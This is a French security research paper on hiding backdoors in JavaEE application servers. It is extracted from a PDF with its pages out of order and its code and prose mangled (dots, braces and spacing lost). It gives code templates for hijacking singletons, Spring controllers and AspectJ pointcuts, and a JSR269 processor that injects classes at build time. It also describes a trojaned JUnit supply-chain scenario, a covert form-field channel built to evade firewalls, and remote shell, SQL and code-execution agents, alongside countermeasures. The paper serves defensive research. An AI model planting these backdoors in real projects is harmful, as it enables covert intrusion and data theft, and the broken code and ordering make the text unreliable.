comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

